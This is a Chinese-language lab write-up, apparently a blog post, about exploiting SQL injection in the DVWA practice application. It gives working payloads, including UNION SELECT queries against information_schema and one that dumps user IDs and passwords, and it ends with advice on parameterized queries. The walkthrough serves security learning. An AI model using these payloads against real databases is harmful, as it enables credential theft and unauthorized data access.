DVWA把玩:SQL注入(完结)

0x00 简介

一个登录框
在这里插入图片描述然后我们的目标是让SQL把有用的东西(账号密码)吐出来…

0x01 low难度

首先不管有没有用先看一下网页源码:
在这里插入图片描述
GET方法意味着我们只需要改一改网站url就可以了,如果POST的话还需要用bp(或者直接在输入框里打字)

下面怎么拖库呢…?

先看看什么样的输入可以拖库:
构造载荷

' OR '1'='1

在这里插入图片描述
推断查询语句类似于

SELECT first_name, last_name FROM ? WHERE user_id = '$id';

下面看看库里有啥:

构造负荷:

' UNION SELECT table_name,1 FROM information_schema.tables; #

返回出来了一堆东西
在这里插入图片描述
一通分析决定继续提取users中的信息。先看一下user中有哪些列。构造载荷:

' UNION SELECT group_concat(COLUMN_NAME SEPARATOR  ','), 1 FROM information_schema.COLUMNS where Table_Name='users'; #

在这里插入图片描述
最后构造载荷:

' UNION SELECT user_id,password FROM users; #

在这里插入图片描述
到此为止,成功搞到id和密码。

0x02 medium难度

在这里插入图片描述
这里限制了id输入的选择,并且使用了POST方法。

POST方法的数据项是放在HTTP包体中的,因此我们直接BP抓包梭哈:
在这里插入图片描述
PS:Firefox经历了几次升级后,突然发现代理软件无法抓取到本地localhost的数据包了。解决办法如下:

  1. 浏览器url栏输入:about:config后回车
  2. 搜索框中输入:network.proxy.allow_hijacking_localhost设为true
    此举允许代理抓取localhost数据包

0x03 hard难度

在这里插入图片描述

在这里插入图片描述
我们发现原站点在点击链接之后起了一个session

在session中输入就可以了…

构造的载荷和效果如下:
在这里插入图片描述

0x04 小结

SQL注入漏洞是最常见的漏洞,主要用自动化工具验证漏洞,当然手动验证也需掌握。主要分6步:

  1. 判类型
  2. 猜列数
  3. 确定顺序
  4. 获当前库
  5. 获所有表、字段名
  6. 下载数据

防范SQL注入漏洞最实用的做法为使用安全的查询方式实现命令与数据分离,java中可用PrepareStatment,c#可用parameter,php可用pdo。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

PenguinLeee

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值